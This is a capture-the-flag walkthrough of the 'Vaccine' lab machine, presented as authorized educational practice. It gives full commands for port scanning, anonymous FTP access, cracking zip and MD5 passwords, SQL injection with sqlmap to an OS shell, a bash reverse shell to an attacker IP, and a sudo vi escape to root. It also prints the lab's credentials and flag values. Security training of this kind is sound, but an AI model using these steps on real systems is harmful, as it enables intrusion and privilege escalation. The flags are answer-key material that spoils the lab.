Vaccine — Professional Walkthrough

Target: `10.129.95.174`

Summary: enumeration → anonymous FTP → recover credentials from backup → authenticated SQL injection → OS shell → reverse shell → user compromise (postgres) → sudo to vi on pg_hba.conf → root shell → capture user.txt and root.txt.

This document is an educational write-up of a penetration testing exercise carried out on an authorized lab machine.

Vaccine — Professional Walkthrough

Target: 10.129.95.174
Summary: enumeration → anonymous FTP → recover credentials from backup → authenticated SQL injection → OS shell → reverse shell → user compromise (postgres) → sudo to vi on pg_hba.conf → root shell → capture user.txt and root.txt.

---

1. Initial port scan

First full TCP port scan:

```
nmap -Pn -p- -T4 10.129.95.174
# Results: 21, 22, 80
```

Service/version scan on the discovered ports and save results:

```
nmap -p 21,22,80 -sV 10.129.95.174 -oA Vaccine
```

---

2. FTP — anonymous access and `backup.zip`

FTP on port 21 allowed anonymous login. We connected and found a password-protected backup.zip:

```
ftp 10.129.95.174
# password: anonymous

ftp> ls
# Output: -rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip
ftp> get backup.zip
```

2.1 Crack the zip password

Create a john-able hash and run John the Ripper with rockyou.txt:

```
zip2john backup.zip > ziphash
john ziphash --wordlist=/usr/share/wordlists/rockyou.txt
# Output: 741852963        (backup.zip)
```

Extract the archive:

```
7z x backup.zip
ls
# Output: backup.zip  index.php  style.css
```

Inside index.php we found an authentication check:

```
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
```

2.2 Crack the MD5 password

Using John to crack the MD5 hash:

```
john passhash --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt
# Output: qwerty789
```

Credentials discovered:
Username: admin
Password: qwerty789

---

3. Web application — authenticated SQL injection

Log in to the web application on port 80. The dashboard contains a table and a search input. We targeted the search parameter while authenticated with a valid session cookie:

```
sqlmap -u "http://10.129.95.174/dashboard.php?search=1"        --cookie="PHPSESSID=hcglb7dvpvmdb3nqh78
```

Notes on options:
- -u — target URL (sqlmap tests the ?search= parameter).
- --cookie — authenticated scan using a valid session cookie.
- --batch — non-interactive mode (accept defaults).
- -v 3 — verbosity level.
- --os-shell — attempt to get an OS shell via SQLi.

The injection was successful and sqlmap provided an OS shell.

---

4. Getting a stable shell — reverse shell

On the attacker (Kali) host, prepare a listener:

```
nc -lvnp 43211
```

From the sqlmap OS shell, spawn a reverse shell back to the listener:

```
bash -c "bash -i >& /dev/tcp/10.10.16.13/43211 0>&1"
```

This gave us a stable interactive shell.

---

5. Post-exploitation — enumerate host and capture user flag

After obtaining the shell, we discovered we were the postgres user and located user.txt:

```
user.txt -> ec9b13ca4d6229cd5cc1e09980965bf7
```

While inspecting the web files:

```
cd /var/www/html
cat dashboard.php | grep postgres
# Output includes: user=postgres password=P@s5w0rd!");
```

We found credentials for the postgres account in dashboard.php.

---

6. SSH as `postgres`

SSH into the machine using the discovered password:

```
ssh postgres@10.129.95.174
# password: P@s5w0rd!
```

---

7. Privilege escalation via sudo on `vi`

Check sudo privileges:

```
sudo -l
# Output:
# User postgres may run the following commands on vaccine:
#   (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
```

`postgres` can run `/bin/vi` as root on a specific file. From within `vi` we can execute a shell:

```
sudo vi /etc/postgresql/11/main/pg_hba.conf
# inside vi: :!bash
```

This spawns an interactive root shell.

---

8. Capture root flag

As root:

```
cd /root
ls
# Output: pg_hba.conf  root.txt  snap

cat root.txt
# Output: dd6e058e814260bc70e9bbdef2715849
```

That is the **root flag**.

---

9. Summary / lessons learned

- Anonymous FTP can expose backups — always examine public artifacts for sensitive data.
- Backups commonly contain credentials and configuration files.
- Weak/commonly used passwords are often recoverable with wordlists.
- Authenticated SQL injection can expose powerful attack vectors.
- Use of editors allowed via `sudo` (e.g., `vi`) is a frequent privilege escalation path — remember editor escape techniques.
- For practice, always document and reproduce steps on your own lab or authorized machines.

---

10. Commands used (condensed)

```
# Nmap
nmap -Pn -p- -T4 10.129.95.174
nmap -p 21,22,80 -sV 10.129.95.174 -oA Vaccine

# FTP
ftp 10.129.95.174
# login: anonymous

# Crack zip
zip2john backup.zip > ziphash
john ziphash --wordlist=/usr/share/wordlists/rockyou.txt
7z x backup.zip

# Crack MD5
john passhash --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt

# SQLMap (authenticated)
sqlmap -u "http://10.129.95.174/dashboard.php?search=1"        --cookie="PHPSESSID=hcglb7dvpvmdb3nqh78

# Listener for reverse shell
nc -lvnp 43211

# Reverse shell command run from target
bash -c "bash -i >& /dev/tcp/10.10.16.13/43211 0>&1"

# SSH with discovered creds
ssh postgres@10.129.95.174

# Sudo check
sudo -l

# Escape vi to spawn root shell (from sudo vi /etc/postgresql/11/main/pg_hba.conf)
# inside vi:
:!bash

# Read flags
cat /home/postgres/user.txt
cat /root/root.txt
```

This write-up is for educational purposes and assumes the machine being tested is authorized for penetration testing (e.g., your own HTB box). Unauthorized testing is illegal.

If you want screenshots, raw console output, or a one-page summary, I can add them and regenerate the PDF.